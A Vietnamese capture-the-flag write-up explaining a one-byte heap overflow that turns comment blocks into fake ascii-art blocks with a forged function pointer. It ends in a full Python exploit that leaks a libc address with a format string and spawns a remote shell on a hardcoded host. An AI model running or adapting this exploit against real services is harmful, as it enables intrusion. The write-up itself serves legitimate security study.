Đây là một bài khá hay, mình phải mấy mấy tiếng đồng hồ để phân tích code.
Đầu tiên chương trình tổ chức bộ nhớ, cấp phát như sau:
Cấp phát 1 vùng nhớ 0x1000 bytes đầu tiên, và set 4 byte kế tiếp là length <địa chỉ vùng nhớ><độ dài phần tử>(1)
Vùng nhớ 0x1000 bytes này được chia nhỏ ra 16 phần, 1 phần là 256 bytes.
Nếu vùng nhớ 0x1000 bytes này hết , chương trình sẽ tạo 1 vùng nhớ khác tiếp theo như (1)
Cấu trúc của một ascii art được phân bố như sau:
struct ascii_art{ char tag; // tag của ascii_art có giá trị bằng 'I' int id; void (*filter)(char* content); char content[247]; };
Cấu trúc của một comment được phân bố như sau:
struct comment{ char tag; // tag có giá trị bằng '7' int id; char content[251]; }
Xem xét đoạn mã sau:
Sau khi tạo 1 block comment, chương trình đọc vào vùng content với giá trị là 252 bytes (lố 1 byte) dựa vào đây mình sẽ khai thác được lỗi, ghi đè giá trị tag của block kế, biến block comment -> block ascii art, từ đó fake được filterfunc.
đoạn mã trên dùng để trigger bug khi biến block comment -> block ascii art
Các khai thác lỗi:
Tạo 1 block ascii art, tạo 2 block comment cho block ascii 1 , tạo block ascii art 2 +----------------------+ | Ascii Block 1 | +----------------------+ | comment 1(1) | +----------------------+ | comment 2(1) | +----------------------+ | Ascii Block 2 | +----------------------+ Xóa hết comment block 1, tạo lại comment cho block 1 và block 2, dùng comment block 2, overwrite giá trị tag của Ascii Block 2 thành comment, dùng comment block 1 để overwrite comment block 2 thì Ascii Block 2 +----------------------+ | Ascii Block 1 | +----------------------+ | comment 1(1) | +----------------------+ | comment 1(2) | +----------------------+ | Ascii Block 2 | +----------------------+ Trạng thái cần đạt được +--------------------------------+ | Ascii Block 1 | +--------------------------------+ | comment 1(1) | +--------------------------------+ | comment 2(1),block 2 fake | +--------------------------------+ | Ascii Block 2, comment 2 fake | +--------------------------------+
Trigger bug và ta có
Do mình có thể control được filter_func và content, cho nên mình sẽ dùng printf và fmt để leak được địa chỉ __libc_main_start ở trên stack, từ đó tính được địa chỉ của hàm system
Payload:
import socket from struct import * import telnetlib #+------------------+ #| Ascii Block 1 | #+------------------+ #| comment 1 | #+------------------+ #| comment 2 | #+------------------+ #| Ascii Block 2 | #+------------------+ def connect(host,port): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((host,port)) return s def add_ascii_block(s,block): s.send('1\n') s.recv(1024) s.recv(1024) s.send('1\n') s.recv(1024) s.send(block) def add_comment_block(s,block): s.send('1\n') s.recv(1024) s.send(block) def select_block_id(s,block_id): s.send('3\n') # select s.recv(1024) s.recv(1024) s.send(str(block_id) + '\n') s.recv(1024) s.recv(1024) # comment menu def back_to_main_menu(s): s.recv(1024) s.recv(1024) # comment menu s.send('0\n') # back s.recv(1024) # main menu s.recv(1024) def leak_mem(s): __libc_main = 0 fmt = '%p'*22 + '%s' payload = pack('<I',0x8048420) # printf payload+= fmt + 'A'*(0xfb - 4 - len(fmt)) + '7' s.recv(1024) # banner s.recv(1024) # main menu add_ascii_block(s,'A'*0xf6 + '\n') # add ascii block s.recv(1024) s.recv(1024) # main menu select_block_id(s,1) add_comment_block(s,'C'*0xfb + '\n') # add comment of block 1 s.recv(1024) s.recv(1024) # comment menu add_comment_block(s,'C'*0xfb + '\n') # add comment of block 1 back_to_main_menu(s) add_ascii_block(s,'B'*0xf6 + '\n') s.recv(1024) s.recv(1024) # main menu select_block_id(s,1) s.send('2\n') # remove all comments of block 1 s.recv(1024) s.recv(1024) # comment menu add_comment_block(s,'D'*0xfb + '\n') # add comment of block 1 back_to_main_menu(s) # add comment to block 2, change ascii block 2 into comment block 2 select_block_id(s,2) add_comment_block(s,payload) back_to_main_menu(s) select_block_id(s,1) # change 1st comment of block 2 into block 2 s.send('2\n') # remove all comments of block 1 s.recv(1024) s.recv(1024) # comment menu add_comment_block(s,'A'*0xfb + 'I') # mark that comment 1 of block 2 is block 2 back_to_main_menu(s) select_block_id(s,2) s.send('3\n') # trigger bug d = s.recv(1024) if '\xf7' in d: index = d.index('\xf7') __libc_main = d[index - 3:index + 1] __libc_main = unpack('<I',__libc_main)[0] s.send('0\n') # back s.recv(1024) s.recv(1024) # main menu return __libc_main def exploit(): s = connect('188.40.18.80',1234) __libc_main = leak_mem(s) offset = 149824 # Ubuntu 14.10 if (__libc_main & 0xf7000000) == 0xf7000000: system_addr = __libc_main + offset cmd = '/bin/sh\x00' payload = pack('<I',system_addr) payload+= cmd + 'A'*(0xfb - 4 - len(cmd)) + '7' print '[!!!] System(): ',hex(system_addr) add_ascii_block(s,'A'*0xf6 + '\n') # add ascii block s.recv(1024) s.recv(1024) # main menu select_block_id(s,3) add_comment_block(s,'C'*0xfb + '\n') # add comment of block 1 s.recv(1024) s.recv(1024) # comment menu add_comment_block(s,'C'*0xfb + '\n') # add comment of block 1 back_to_main_menu(s) add_ascii_block(s,'B'*0xf6 + '\n') s.recv(1024) s.recv(1024) # main menu select_block_id(s,3) s.send('2\n') # remove all comments of block 1 s.recv(1024) s.recv(1024) # comment menu add_comment_block(s,'D'*0xfb + '\n') # add comment of block 1 back_to_main_menu(s) # add comment to block 2, change ascii block 2 into comment block 2 select_block_id(s,4) add_comment_block(s,payload) # real payload back_to_main_menu(s) select_block_id(s,3) # change 1st comment of block 2 into block 2 s.send('2\n') # remove all comments of block 1 s.recv(1024) s.recv(1024) # comment menu add_comment_block(s,'A'*0xfb + 'I') # mark that comment 1 of block 2 is block 2 back_to_main_menu(s) select_block_id(s,4) s.send('3\n') # trigger bug print '[!!!] Shell is comming' # interact socket with stdin,stdout t = telnetlib.Telnet() t.sock = s t.interact() exploit()